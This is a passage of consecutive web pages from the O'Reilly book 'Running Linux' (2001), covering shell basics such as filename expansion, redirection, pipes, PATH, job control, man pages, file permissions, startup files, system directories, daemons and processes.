inv1jig.c   inv2jig.c   inv3jig.c   invinitjig.c

The asterisk actually means "zero or more characters," so if a file named invjig.c existed, it would be shown, too.

Unlike MS-DOS, the Unix shells let you combine special characters and normal characters any way you want. Let's say you want to look for any source (.c) or object (.o) file that contains a digit. The resulting pattern combines all the expansions we've studied in this section:

$ ls *[0-9]*.[co]

Filename expansion is very useful in shell scripts (programs), where you don't always know exactly how many files exist. For instance, you might want to process multiple log files named log001, log002, and so on. No matter how many there are, the expression log* will match them all.

One final warning: filename expansions are not the same as regular expressions, which are used by many utilities to specify groups of strings. Regular expressions are beyond the scope of this book, but are described by many books that explain Unix utilities. A taste of regular expressions appears in Chapter 13, "Programming Languages".

Previous | Home | Next
4.7. Typing Shortcuts | Book Index | 4.9. Saving Your Output
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Saving Your Output (Running Linux)

 Running LinuxSearch this book
Previous Next

4.9. Saving Your Output

System administrators (and other human beings too) see a lot of critical messages fly by on the computer screen. It's often important to save these messages so you can scrutinize them later, or (all too often) send them to a friend who can figure out what went wrong. So, in this section, we'll explain a little bit about redirection, a powerful feature provided by Unix shells. If you come from MS-DOS, you have probably seen a similar, but more limited, type of redirection.

If you put a greater-than sign (>) and a filename after any command, the output of the command will be sent to that file. For instance, to capture the output of ls, you can enter:

$ ls /usr/bin > ~/Binaries

A listing of /usr/bin will be stored in your home directory in a file named Binaries. If Binaries had already existed, the > would wipe out what was there and replace it with the output of the ls command. Overwriting a current file is a common user error. If your shell is csh or tcsh, you can prevent overwriting with the command:

$ set noclobber

And in bash you can achieve the same effect by entering:

$ noclobber=1           It doesn't have to be 1; any value will have the same effect.

Another (and perhaps more useful) way to prevent overwriting is to append new output. For instance, having saved a listing of /usr/bin, suppose we now want to add the contents of /bin to that file. We can append it to the end of the Binaries file by specifying two greater-than signs:

$ ls /bin >> ~/Binaries

You will find the technique of output redirection very useful when you are running a utility many times and saving the output for troubleshooting.

Most Unix programs have two output streams. One is called the standard output, and the other is the standard error. If you're a C programmer you'll recognize these: the standard error is the file named stderr to which you print messages.

The > character does not redirect the standard error. It's useful when you want to save legitimate output without mucking up a file with error messages. But what if the error messages are what you want to save? This is quite common during troubleshooting. The solution is to use a greater-than sign followed by an ampersand. (This construct works in almost every modern UNIX shell.) It redirects both the standard output and the standard error. For instance:

$ gcc invinitjig.c >& error-msg

This command saves all the messages from the gcc compiler in a file named error-msg. (Of course, the object code is not saved there. It's stored in invinitjig.o as always.) On the Bourne shell and bash you can also say it slightly differently:

$ gcc invinitjig.c &> error-msg

Now let's get really fancy. Suppose you want to save the error messages but not the regular output--the standard error but not the standard output. In the Bourne-compatible shells you can do this by entering the following:

$ gcc invinitjig.c 2> error-msg

The shell arbitrarily assigns the number 1 to the standard output and the number 2 to the standard error. So the above command saves only the standard error.

Finally, suppose you want to throw away the standard output--keep it from appearing on your screen. The solution is to redirect it to a special file called /dev/null. (You've heard people say things like "Send your criticisms to /dev/null"? Well, this is where the phrase came from.) The /dev directory is where Unix systems store special files that refer to terminals, tape drives, and other devices. But /dev/null is unique; it's a place you can send things so that they disappear into a black hole. For example, the following command saves the standard error and throws away the standard output:

$ gcc invinitjig.c 2>error-msg >/dev/null

So now you should be able to isolate exactly the output you want.

In case you've wondered whether the less-than sign (<) means anything to the shell: yes, it does. It causes commands to take their input from a file. But most commands allow you to specify input files on their command lines anyway, so this "input redirection" is rarely necessary.

Sometimes you want one utility to operate on the output of another utility. For instance, you can use the sort command to put the output of other commands into a more useful order. A crude way to do this would be to save output from one command in a file, and then run sort on it. For instance:

$ du > du_output
$ sort -n du_output

Unix provides a much more succinct and efficient way to do this using a pipe. Just place a vertical bar between the first command and the second:

$ du | sort -n

The shell sends all the input from the du program to the sort program.

In the previous example, du stands for "disk usage" and shows how many blocks each file occupies under the current directory. Normally, its output is in a somewhat random order:

$ du
10        ./zoneinfo/Australia
13        ./zoneinfo/US
9         ./zoneinfo/Canada
4         ./zoneinfo/Mexico
5         ./zoneinfo/Brazil
3         ./zoneinfo/Chile
20        ./zoneinfo/SystemV
118       ./zoneinfo
298       ./ghostscript/doc
183       ./ghostscript/examples
3289      ./ghostscript/fonts
        .
        .
        .

So we have decided to run it through sort with the -n and -r options. The -n option means "sort in numerical order" instead of the default ASCII sort, and the -r option means "reverse the usual order" so that the highest number appears first. The result is output that quickly shows you which directories and files hog the most space:

$ du | sort -rn
34368     .
16005     ./emacs
16003     ./emacs/20.4
13326     ./emacs/20.4/lisp
4039      ./ghostscript
3289      ./ghostscript/fonts
        .
        .
        .

Since there are so many files, we had better use a second pipe to send output through the more command (one of the more common uses of pipes):

$ du | sort -rn | more
34368     .
16005     ./emacs
16003     ./emacs/20.4
13326     ./emacs/20.4/lisp
4039      ./ghostscript
3289      ./ghostscript/fonts
        .
        .
        .

Previous | Home | Next
4.8. Filename Expansion | Book Index | 4.10. What Is a Command?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What Is a Command? (Running Linux)

 Running LinuxSearch this book
Previous Next

4.10. What Is a Command?

We've said that Unix offers a huge number of commands and that you can add new ones. This makes it radically different from most operating systems, which contain a strictly limited table of commands. So what are Unix commands, and how are they stored? On Unix, a command is simply a file. For instance, the ls command is a binary file located in the directory bin. So, instead of ls, you could enter the full pathname, also known as the absolute pathname:

$ /bin/ls

This makes Unix very flexible and powerful. To provide a new utility, a system administrator can simply install it in a standard directory where commands are located. There can also be different versions of a command--for instance, you can offer a new version of a utility for testing in one place while leaving the old version in another place, and users can choose the one they want.

Here's a common problem: sometimes you enter a command that you expect to be on the system, but you receive a message such as "Not found." The problem may be that the command is located in a directory that your shell is not searching. The list of directories where your shell looks for commands is called your path. Enter the following to see what your path is (remember the dollar sign!):

$ echo $PATH
/usr/local/bin:/usr/bin:/usr/X11R6/bin:/bin:/usr/lib/java/bin:\
/usr/games:/usr/bin/TeX:.

This takes a little careful eyeballing. The output is a series of pathnames separated by colons. The first pathname, for this particular user, is /usr/local/bin. The second is /usr/bin, and so on. So if two versions of a command exist, one in /usr/local/bin and the other in /usr/bin, the one in /usr/local/bin will execute. The last pathname in this example is simply a dot; it refers to the current directory. Unlike MS-DOS, Unix does not look automatically in your current directory. You have to tell it to explicitly, as shown here. Some people think it's a bad idea to look in the current directory, for security reasons. (An intruder who gets into your account might copy a malicious program to one of your working directories.) However, this mostly applies to root, normal users generally do not need to worry about this.

If a command is not found, you have to figure out where it is on the system and add that directory to your path. The manual page should tell you where it is. Let's say you find it in /usr/sbin, where a number of system administration commands are installed. You realize you need access to these system administration commands, so you enter the following (note that the first PATH doesn't have a dollar sign, but the second one does):

$ export PATH=$PATH:/usr/sbin

This command adds /usr/sbin, but makes it the last directory that is searched. The command is saying, "Make my path equal to the old path plus /usr/sbin."

The previous command works for some shells but not others. It's fine for most Linux users, who are working in a Bourne-compatible shell like bash. But if you use csh or tcsh you need to issue the following command instead:

set path = ( $PATH /usr/sbin )

Finally, there are a few commands that are not files; cd is one. Most of these commands affect the shell itself, and therefore have to be understood and executed by the shell. Because they are part of the shell, they are called built-in commands.

Previous | Home | Next
4.9. Saving Your Output | Book Index | 4.11. Putting a Command in the Background
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Putting a Command in the Background (Running Linux)

 Running LinuxSearch this book
Previous Next

4.11. Putting a Command in the Background

Before the X Window System, which made it easy to run multiple programs at once, Unix users took advantage of Unix's multitasking features by simply putting an ampersand at the end of commands, as shown in this example:

$ gcc invinitjig.c &
[1] 21457

The ampersand puts the command into the background, meaning that the shell prompt comes back, and you can continue to execute other commands while the gcc command is compiling your program. The [1] is a job number that is assigned to your command. The 21457 is a process ID, which we'll discuss later. Job numbers are assigned to background commands in order and therefore are easier to remember and type than process IDs.

Of course, multitasking does not come for free. The more commands you put into the background, the slower your system runs as it tries to interleave their execution.

You wouldn't want to put a command in the background if it requires user input. If you do so, you see an error message like:

Stopped (tty input)

You can solve this problem by bringing the job back into the foreground through the fg command. If you have many commands in the background, you can choose one of them by its job number or its process ID. For our long-lived gcc command, the following commands are equivalent:

$ fg %1
$ fg 21457

Don't forget the percent sign on the job number; that's what distinguishes job numbers from process IDs.

To get rid of a command in the background, issue a kill command:

$ kill %1
Previous | Home | Next
4.10. What Is a Command? | Book Index | 4.12. Manual Pages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Manual Pages (Running Linux)

 Running LinuxSearch this book
Previous Next

4.12. Manual Pages

The most empowering information you can get is how to conduct your own research. Following this precept, we'll now tell you about the online help system that comes built in to Unix systems. It is called manual pages, or man pages for short.

Actually, manual pages are not quite the boon they ought to be. This is because they are short and take a lot of Unix background for granted. Each one focuses on a particular command and rarely helps you decide why you should use that command. Still, they are critical. Commands can vary slightly on different Unix systems, and the manual pages are the most reliable way to find out what your system does. The Linux Documentation Project deserves a lot of credit for the incredible number of hours they have put into creating manual pages. To find out about a command, enter a command like:

$ man ls

Manual pages are divided into different sections depending on what they are for. User commands are in section 1, Unix system calls in section 2, and so on. The sections that will interest you most are 1, 5 (file formats), and 8 (system administration commands). When you view man pages online, the section numbers are conceptual; you can optionally specify them when searching for a command:

$ man 1 ls

But if you consult a hard-copy manual, you'll find it divided into actual sections according to the numbering scheme. Sometimes an entry in two different sections can have the same name. (For instance, chmod is both a command and a system call.) So you will sometimes see the name of a manual page followed by the section number in parentheses, as in ls(1).

There is one situation in which you will need the section number on the command line: when there are several manual pages for the same keyword (e.g., one for a command with that name and one for a system function with the same name). Suppose you want to look up a library call, but the man shows you the command because its default search order looks for the command first. In order to see the manual page for the library call, you need to give its section number.

Look near the top of a manual page. The first heading is NAME. Under it is a brief one-line description of the item. These descriptions can be valuable if you're not quite sure what you're looking for. Think of a word related to what you want, and specify it in an apropos command:

$ apropos edit

The previous command shows all the manual pages that have something to do with editing. It's a very simple algorithm: apropos simply prints out all the NAME lines that contain the string you ask for.

An X Window System application, xman, also helps you browse manual pages. It is described in the section "Section 11.4.9, "xman: A Point-and-Click Interface to Manual Pages"" in Chapter 11, "Customizing Your X Environment".

Like commands, manual pages are sometimes installed in strange places. For instance, you may install some site-specific programs in the directory /usr/local, and put their manual pages in /usr/local/man. The man command will not automatically look in /usr/local/man, so when you ask for a manual page you may get the message "No manual entry." Fix this by specifying all the top man directories in a variable called MANPATH. For example (you have to put in the actual directories where the manual pages are on your system):

$ export MANPATH=/usr/man:/usr/local/man

The syntax is like PATH, described earlier in this chapter. Each two directories are separated by a colon. If your shell is csh or tcsh, you need to say:

$ setenv MANPATH /usr/man:/usr/local/man

Have you read some manual pages and still found yourself confused? They're not meant to be introductions to new topics. Get yourself a good beginner's book about Unix, and come back to manual pages gradually as you become more comfortable on the system; then they'll be irreplaceable.

Manual pages are not the only source of information on Unix systems. Programs from the GNU project often have Info pages that you read with the program info. For example, to read the Info pages for the command find, you would enter:

info find

The info program is arcane and has lots of navigation features; to learn it, your best bet will be to type Ctrl-H in the info program and read through the help screen. Fortunately, there are also programs that let you read Info pages more easily, notably tkinfo and kdehelp. These commands use the X Window System to present a graphical interface. You can also read Info pages from Emacs (see the section "Section 9.2, "The Emacs Editor"" in Chapter 9, "Editors, Text Tools, Graphics, and Printing") or use the command pinfo available on some Linux distributions that works more like the Lynx web browser.

In recent times, more and more documentation is provided in the form of HTML pages. You can read those with any web browser (see Chapter 16, "The World Wide Web and Electronic Mail"). For example, in Netscape Navigator, you select "Open Page..." from the "File" menu and press the "Choose File" button, which opens an ordinary file selection dialog where you can select your documentation file.

Previous | Home | Next
4.11. Putting a Command in the Background | Book Index | 4.13. File Ownership and Permissions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File Ownership and Permissions (Running Linux)

 Running LinuxSearch this book
Previous Next

4.13. File Ownership and Permissions

Ownership and permissions are central to security. It's important to get them right, even when you're the only user, because odd things can happen if you don't. For the files that users create and use daily, these things usually work without much thought (although it's still useful to know the concepts). For system administration, matters are not so easy. Assign the wrong ownership or permission, and you might get into a frustrating bind like not being able to read your mail. In general, the message:

Permission denied

means that someone has assigned an ownership or permission that restricts access more than you want.

4.13.1. What Permissions Mean

Permissions refer to the ways in which someone can use a file. There are three such permissions under Unix:

  • Read permission means you can look at the file's contents.

  • Write permission means you can change or delete the file.

  • Execute permission means you can run the file as a program.

When each file is created, the system assigns some default permissions that work most of the time. For instance, it gives you both read and write permission, but most of the world has only read permission. If you have a reason to be paranoid, you can set things up so that other people have no permissions at all.

Additionally, most utilities know how to assign permissions. For instance, when the compiler creates an executable program, it automatically assigns executable permission. When you check a file out of the revision control system (RCS) without locking it, you get only read permission (because you're not expected to change the file), but if you lock the file, you get read and write permission (you're expected to edit it and check it back in). We'll discuss RCS in the section "Section 14.2.7, "Revision Control Tools--RCS"" in Chapter 14, "Tools for Programmers".

There are times when defaults don't work, though. For instance, if you create a shell script or Perl program, you'll have to assign executable permission yourself so that you can run it. We'll show how to do that later in this section, after we get through the basic concepts.

Permissions have different meanings for a directory:

  • Read permission means you can list the contents of that directory.

  • Write permission means you can add or remove files in that directory.

  • Execute permission means you can list information about the files in that directory.

Don't worry about the difference between read and execute permission for directories; basically, they go together. Assign both, or neither.

Note that, if you allow people to add files to a directory, you are also letting them remove files. The two privileges go together when you assign write permission. However, there is a way you can let users share a directory and keep them from deleting each other's files. See the section "Section 7.2.3, "Upgrading Other Software"" in Chapter 7, "Upgrading Software and the Kernel".

There are more files on Unix systems than the plain files and directories we've talked about so far. These are special files (devices), sockets, symbolic links, and so forth--each type observing its own rules regarding permissions. But you don't need to know the details on each type.

4.13.2. Owners and Groups

Now, who gets these permissions? To allow people to work together, Unix has three levels of permission: owner, group, and other. The "other" covers everybody who has access to the system and who isn't the owner or a member of the group.

The idea behind having groups is to give a set of users, like a team of programmers, access to a file. For instance, a programmer creating source code may reserve write permission to herself, but allow members of her group to have read access through a group permission. As for "other," it might have no permission at all. (You think your source code is that good?)

Each file has an owner and a group. The owner is generally the user who created the file. Each user also belongs to a default group, and that group is assigned to every file the user creates. You can create many groups, though, and assign each user to multiple groups. By changing the group assigned to a file, you can give access to any collection of people you want. We'll discuss groups more when we get to the section "Section 5.7.4, "The Group File"" in Chapter 5, "Essential System Management".

Now we have all the elements of our security system: three permissions (read, write, execute) and three levels (user, group, other). Let's looks at some typical files and see what permissions are assigned.

Figure 4-2 shows a typical executable program. We generated this output by executing ls with the -l option.

Figure 4-2. Displaying ownership and permissions

Two useful facts stand right out: the owner of the file is an author of this book and your faithful guide, mdw, while the group is lib (perhaps a group created for programmers working on libraries). But the key information about permissions is encrypted in the set of letters on the left side of the display.

The first character is a hyphen, indicating a plain file. The next three bits apply to the owner; as we would expect, mdw has all three permissions. The next three bits apply to members of the group: they can read the file (not too useful for a binary file) and execute it, but they can't write to it because the field that should contain a w contains a hyphen instead. And the last three bits apply to "other"; they have the same permissions in this case as the group.

As another exercise, here is a file checked out of RCS for editing:

-rw-r--r--   2 mdw      lib           878 Aug  7 19:28 tools.tex

The only difference between this file and that shown in Figure 4-2 is that the x bits in this case have been replaced by hyphens. No one needs to have execute permission because the file is not meant to be executed; it's just text.

One more example--a typical directory:

drwxr-xr-x   2 mdw      lib           512 Jul 17 18:23 perl

The left-most bit is now a d, to show that this is a directory. The executable bits are back, because you want people to see the contents of the directory.

Files can be in some obscure states that aren't covered here; see the ls manual page for gory details. But now it's time to see how you can change ownership and permissions.

Previous | Home | Next
4.12. Manual Pages | Book Index | 4.14. Changing the Owner, Group, and Permissions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Changing the Owner, Group, and Permissions (Running Linux)

 Running LinuxSearch this book
Previous Next

4.14. Changing the Owner, Group, and Permissions

As we said, most of the time you can get by with the default security the system gives you. But there are always exceptions, particularly for system administrators. To take a simple example, suppose you are creating a directory under /home for a new user. You have to create everything as root, but when you're done you have to change the ownership to the user; otherwise, that user won't be able to use the files! (Fortunately, if you use the adduser command discussed in the section "Section 5.7.5, "Creating Accounts"" in Chapter 5, "Essential System Management", it takes care of ownership for you.)

Similarly, there are certain utilities such as UUCP and News that have their own users. No one ever logs in as UUCP or News, but those users and groups must exist so that the utilities can do their job in a secure manner. In general, the last step when installing software is usually to change the owner, group, and permissions as the documentation tells you to do.

The chown command changes the owner of a file, and the chgrp command changes the group. On Linux, only root can use chown for changing ownership of a file, but any user can change the group to another group he belongs to.

So after installing some software named sampsoft, you might change both the owner and the group to bin by executing:

# chown bin sampsoft
# chgrp bin sampsoft

You could also do this in one step by using the dot notation:

# chown bin.bin sampsoft

The syntax for changing permissions is more complicated. The permissions can also be called the file's "mode," and the command that changes permissions is chmod. Let's start our exploration of this command through a simple example; say you've written a neat program in Perl or Tcl named header, and you want to be able to execute it. You would type the following command:

$ chmod +x header

The plus sign means "add a permission," and the x indicates which permission to add.

If you want to remove execute permission, use a minus sign in place of a plus:

$ chmod -x header

This command assigns permissions to all levels--user, group, and other. Let's say that you are secretly into software hoarding and don't want anybody to use the command but yourself. (No, that's too cruel; let's say instead that you think the script is buggy and want to protect other people from hurting themselves until you've exercised it.) You can assign execute permission just to yourself through the command:

$ chmod u+x header

Whatever goes before the plus sign is the level of permission, and whatever goes after is the type of permission. User permission (for yourself) is u, group permission is g, and other is o. So, to assign permission to both yourself and the file's group, enter:

$ chmod ug+x header

You can also assign multiple types of permissions:

$ chmod ug+rwx header

There are a few more shortcuts you can learn from the chmod manual page in order to impress someone looking over your shoulder, but they don't offer any functionality besides what we've shown you.

As arcane as the syntax of the mode argument may seem, there's another syntax that is even more complicated. We have to describe it though, for several reasons. First of all, there are several situations that cannot be covered by the syntax, called symbolic mode, that we've just shown. Second, people often use the other syntax, called absolute mode, in their documentation. Third, there are times you may actually find the absolute mode more convenient.

To understand absolute mode, you have to think in terms of bits and octal notation. Don't worry, it's not too hard. A typical mode contains three characters, corresponding to the three levels of permission (user, group, and other). These levels are illustrated in Figure 4-3. Within each level, there are three bits corresponding to read, write, and execute permission.

Figure 4-3. Bits in absolute mode

Let's say you want to give yourself read permission and no permission to anybody else. You want to specify just the bit represented by the number 400. So the chmod command would be:

$ chmod 400 header

To give read permission to everybody, choose the correct bit from each level: 400 for yourself, 40 for your group, and 4 for other. The full command is:

$ chmod 444 header

This is like using a mode +r, except that it simultaneously removes any write or execute permission. (To be precise, it's just like a mode of =r, which we didn't mention earlier. The equal sign means "assign these rights and no others.")

To give read and execute permission to everybody, you have to add up the read and execute bits. 400 plus 100 is 500, for instance.

So the corresponding command is:

$ chmod 555 header

which is the same as =rx. To give someone full access, you would specify that digit as a 7--the sum of 4, 2, and 1.

One final trick: how to set the default mode that is assigned to each file you create (with a text editor, the > redirection operator, and so on). You do so by executing a umask command, or putting one in your shell's start-up file. This file could be called .bashrc, .cshrc, or something else depending on the shell you use (we'll discuss startup files in the next section).

The umask command takes an argument like the absolute mode in chmod, but the meaning of the bits is inverted. You have to determine the access you want to grant for user, group, and other, and subtract each digit from 7. That gives you a three-digit mask.

For instance, say you want yourself to have all permissions (7), your group to have read and execute permissions (5), and others to have no permissions (0). Subtract each bit from 7 and you get 0 for yourself, 2 for your group, and 7 for other. So the command to put in your start-up file is:

umask 027

A strange technique, but it works. The chmod command looks at the mask when it interprets your mode; for instance, if you assign execute mode to a file at creation time, it will assign execute permission for you and your group, but will exclude others because the mask doesn't permit them to have any access.

Previous | Home | Next
4.13. File Ownership and Permissions | Book Index | 4.15. Startup Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Startup Files (Running Linux)

 Running LinuxSearch this book
Previous Next

4.15. Startup Files

Configuration is a strong element of Unix. This probably stems from two traits commonly found in hackers: they want total control over their environment, and they strive to minimize the number of keystrokes and other hand movements they have to perform. So all the major utilities on Unix--editors, mailers, debuggers, X Window System clients--provide files that let you override their default behaviors in a bewildering number of ways. Many of these files have names ending in rc which means resource configuration.

Startup files are usually in your home directory. Their names begin with a period, which keeps the ls command from displaying them under normal circumstances. None of the files are required; all the affected programs are smart enough to use defaults when the file does not exist. But everyone finds it useful to have the startup files. Here are some common ones:

.bashrc

For the bash shell. The file is a shell script, which means it can contain commands and other programming constructs. Here's a very short startup file that might have been placed in your home directory by the tool that created your account:

PS1='\u$'	# The prompt contains the user's login name.

HISTSIZE=50	# Save 50 commands for when the user presses the up arrow.

# All the directories to search for commands.
PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11

# To prevent the user from accidentally ending a login session,
# disable Ctrl-D as a way to exit.
IGNOREEOF=1

stty erase "^H"	# Make sure the backspace key erases.

.bash_profile

For the bash shell. Another shell script. The difference between this script and .bashrc is that .bash_profile runs only when you log in. It was originally designed so you could separate interactive shells from those run by background processors like cron (discussed in Chapter 8, "Other Administrative Tasks"). But it is not too useful on modern computers with the X Window System, because when you open a new xterm window, only .bashrc runs. If you start up a window with the command xterm -ls, it will run .bash_profile, too.

.cshrc

For the C shell or tcsh. The file is a shell script using C shell constructs.

.login

For the C shell or tcsh. The file is a shell script, using C shell constructs. Like .bash_profile in the bash shell, this runs only when you log in. Here are some commands you might find in .cshrc or .login:

set prompt='% '	# Simple % for prompt.

set history=50	# Save 50 commands for when the user presses the up arrow.

# All the directories to search for commands.
set path=(/usr/local/bin /usr/bin /bin /usr/bin/X11)

# To prevent the user from accidentally ending a login session,
# disable Ctrl-D as a way to exit.
set ignoreeof

stty erase "^H"	# Make sure the backspace key erases.

.emacs

For the Emacs editor. Consists of LISP functions. See the section "Section 9.2.8, "Tailoring Emacs"" in Chapter 9, "Editors, Text Tools, Graphics, and Printing".

.exrc

For the vi editor (also known as ex). Each line is an editor command. See the section "Section 9.1.12, "Extending vi"" in Chapter 9, "Editors, Text Tools, Graphics, and Printing".

.fvwm2rc

For the fvwm2 window manager. Consists of special commands interpreted by fvwm2. A sample file is shown in the section "Section 11.2.1, "Configuring fvwm"" in Chapter 10, "Installing the X Window System".

.twmrc

For the twm window manager. Consists of special commands interpreted by twm.

.newsrc

For news readers. Contains a list of all newsgroups offered at the site.

.Xdefaults

For programs using the X Window System. Each line specifies a resource (usually the name of a program and some property of that program) along with the value that resource should take. This file is described in the section "Section 11.1.2, "The X Resource Database"" in Chapter 10, "Installing the X Window System".

.xinitrc

For the X Window System. Consists of shell commands that run whenever you log into an X session. See the section "Section 11.1, "Basics of X Customization"" in Chapter 10, "Installing the X Window System" for details on using this file.

Previous | Home | Next
4.14. Changing the Owner, Group, and Permissions | Book Index | 4.16. Important Directories
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Important Directories (Running Linux)

 Running LinuxSearch this book
Previous Next

4.16. Important Directories

You already know about /home, where user files are stored. As a system administrator and programmer, several other directories will be important to you. Here are a few, along with their contents:

/bin

The most essential Unix commands, such as ls.

/usr/bin

Other commands. The distinction between /bin and /usr/bin is arbitrary; it was a convenient way to split up commands on early Unix systems that had small disks.

/usr/sbin

Commands used by the superuser for system administration.

/boot

Location where the kernel and other files used during booting are sometimes stored.

/etc

Files used by subsystems such as networking, NFS, and mail. Typically, these contain tables of network services, disks to mount, and so on.

/var

Administrative files, such as log files, used by various utilities.

/var/spool

Temporary storage for files being printed, sent by UUCP, and so on.

/usr/lib

Standard libraries, such as libc.a. When you link a program, the linker always searches here for the libraries specified in -l options.

/usr/lib/X11

The X Window System distribution. Contains the libraries used by X clients, as well as fonts, sample resources files, and other important parts of the X package. This directory is usually a symbolic link to /usr/X11R6/lib/X11.

/usr/include

Standard location of include files used in C programs, such as <stdio.h>.

/usr/src

Location of sources to programs built on the system.

/usr/local

Programs and data files that have been added locally by the system administrator.

/etc/skel

Sample startup files you can place in home directories for new users.

Previous | Home | Next
4.15. Startup Files | Book Index | 4.17. Programs That Serve You
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programs That Serve You (Running Linux)

 Running LinuxSearch this book
Previous Next

4.17. Programs That Serve You

We're including this section because you should start to be interested in what's running on your system behind your back.

Many modern computer activities are too complex for the system simply to look at a file or some other static resource. Sometimes these activities need to interact with another running process.

For instance, take FTP, which you may have used to download some Linux-related documents or software. When you FTP to another system, another program has to be running on that system to accept your connection and interpret your commands. So there's a program running on that system called ftpd. The d in the name stands for daemon, which is a quaint Unix term for a server that runs in the background all the time. Most daemons handle network activities.

You've probably heard of the buzzword client/server enough to make you sick, but here it is in action--it has been in action for years on Unix.

Daemons start up when the system is booted. To see how they get started, look in the /etc/inittab and /etc/inetd.conf files, as well as distribution-specific configuration files. We won't go into their formats here. But each line in these files lists a program that runs when the system starts. You can find the distribution-specific files either by checking the documentation that came with your system or by looking for pathnames that occur more often than others in /etc/inittab. Those normally indicate the directory tree where your distribution stores its system startup-files.

To give an example of how your system uses /etc/inittab, look at one or more lines with the string getty or agetty. This is the program that listens at a terminal (tty) waiting for a user to log in. It's the program that displays the login : prompt we talked about at the beginning of this chapter.

The /etc/inetd.conf file represents a more complicated way of running programs--another level of indirection. The idea behind /etc/inetd.conf is that it would waste a lot of system resources if a dozen or more daemons were spinning idly, waiting for a request to come over the network. So, instead, the system starts up a single daemon named inetd. This daemon listens for connections from clients on other machines, and when an incoming connection is made, starts up the appropriate daemon to handle it. For example, when an incoming FTP connection is made, inetd starts up the FTP daemon (ftpd) to manage the connection. In this way, the only network daemons running are those actually in use.

In the next section, we'll show you how to see which daemons are running on your system. There's a daemon for every service offered by the system to other systems on a network: fingerd to handle remote finger requests, rwhod to handle rwho requests, and so on. A few daemons also handle nonnetworking services, such as kerneld, which handles the automatic loading of modules into the kernel.

Previous | Home | Next
4.16. Important Directories | Book Index | 4.18. Processes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Processes (Running Linux)

 Running LinuxSearch this book
Previous Next

4.18. Processes

At the heart of Unix lies the concept of a process. Understanding this concept will help you keep control of your login session as a user. If you are also a system administrator, the concept is even more important.

A process is an independently running program that has its own set of resources. For instance, we showed in an earlier section how you could direct the output of a program to a file while your shell continued to direct output to your screen. The reason that the shell and the other program can send output to different places is that they are separate processes.

On Unix, the finite resources of the system, like the memory and the disks, are managed by one all-powerful program called the kernel. Everything else on the system is a process.

Thus, before you log in, your terminal is monitored by a getty process. After you log in, the getty process dies (a new one is started by the kernel when you log out) and your terminal is managed by your shell, which is a different process. The shell then creates a new process each time you enter a command. The creation of a new process is called forking, because one process splits into two.

If you are using the X Window System, each process starts up one or more windows. Thus, the window in which you are typing commands is owned by an xterm process. That process forks a shell to run within the window. And that shell forks yet more processes as you enter commands.

To see the processes you are running, enter the command ps. Figure 4-4 shows some typical output and what each field means. You may be surprised how many processes you are running, especially if you are using X. One of the processes is the ps command itself, which of course dies as soon as the output is displayed.

Figure 4-4. Output of ps command

The first field in the ps output is a unique identifier for the process. If you have a runaway process that you can't get rid of through Ctrl-C or other means, you can kill it by going to a different virtual console or X window and entering:

$ kill process-id

The TTY field shows which terminal the process is running on, if any. (Everything run from a shell uses a terminal, of course, but background daemons don't have a terminal.)

The STAT field shows what state the process is in. The shell is currently suspended, so this field shows an S. An Emacs editing session is running, but it's suspended using Ctrl-Z. This is shown by the T in its STAT field. The last process shown is the ps that is generating all this input; its state, of course, is R because it is running.

The TIME field shows how much CPU time the processes have used. Since both bash and Emacs are interactive, they actually don't use much of the CPU.

You aren't restricted to seeing your own processes. Look for a minute at all the processes on the system. The a option stands for all processes, while the x option includes processes that have no controlling terminal (such as daemons started at runtime):

$ ps ax | more

Now you can see the daemons that we mentioned in the previous section.

And here, with a breathtaking view of the entire Unix system at work, we end this chapter (the lines are cut off at column 76; if you want to see the command lines in their full glory, add the option -w to the ps command):

kalle@tigger: > ps aux
    USER   PID %CPU %MEM   VSZ   RSS  TT STAT  START   TIME COMMAND
at         724  0.0  0.2   824   348  ?  S    Mar 18   0:00 /usr/sbin/
bin        703  0.0  0.2   832   316  ?  S    Mar 18   0:00 /usr/sbin/
kalle      181  0.0  0.6  1512   856   1 S    Mar 18   0:00 -bash
kalle      230  0.0  0.4  1396   596   1 S    Mar 18   0:00 sh /usr/X1
kalle      231  0.0  0.1   808   256   1 S    Mar 18   0:00 tee /home/
kalle      234  0.0  0.4  1952   624   1 S    Mar 18   0:00 xinit /hom
kalle      238  0.0  0.4  1396   616   1 S    Mar 18   0:00 sh /home/k
kalle      242  0.0  3.8  6744  4876   1 S    Mar 18   0:43 kwm
kalle      246  0.0  3.3  6552  4272   1 S    Mar 18   4:48 /usr/local
kalle      255  0.0  0.0     0     0   1 Z    Mar 18   0:00 kaudioserv
kalle      256  0.0  3.0  6208  3844   1 S    Mar 18   0:02 kwmsound
kalle      257  0.0  5.1  8892  6596   1 S    Mar 18   0:11 kfm
kalle      258  0.0  3.3  6292  4320   1 S    Mar 18   0:02 krootwm
kalle      259  0.0  4.6  7848  5988   1 S    Mar 18   0:37 kpanel
kalle      260  0.0  3.6  6764  4688   1 S    Mar 18   0:06 kbgndwm
kalle      273  0.0  3.6  6732  4668   1 S    Mar 18   0:08 kvt -resto
kalle      274  0.0  3.6  6732  4668   1 S    Mar 18   0:11 kvt -resto
kalle      276  0.0  0.6  1536   892  p0 S    Mar 18   0:00 bash
kalle      277  0.0  0.6  1512   864  p1 S    Mar 18   0:00 bash
kalle    11752  0.1  9.8 14056 12604   1 S    Mar 20   3:35 xemacs
kalle    18738  0.2 16.4 26164 21088   1 S     01:14   1:03 netscape
kalle    18739  0.0  2.6 14816  3392   1 S     01:14   0:00 (dns helpe
kalle    29744  0.0  0.3   904   428  p0 R     09:24   0:00 ps -auxw
root         1  0.0  0.2   820   292  ?  S    Mar 18   0:06 init [2]
root         2  0.0  0.0     0     0  ?  SW   Mar 18   0:00 kflushd
root         3  0.0  0.0     0     0  ?  SW<  Mar 18   0:00 kswapd
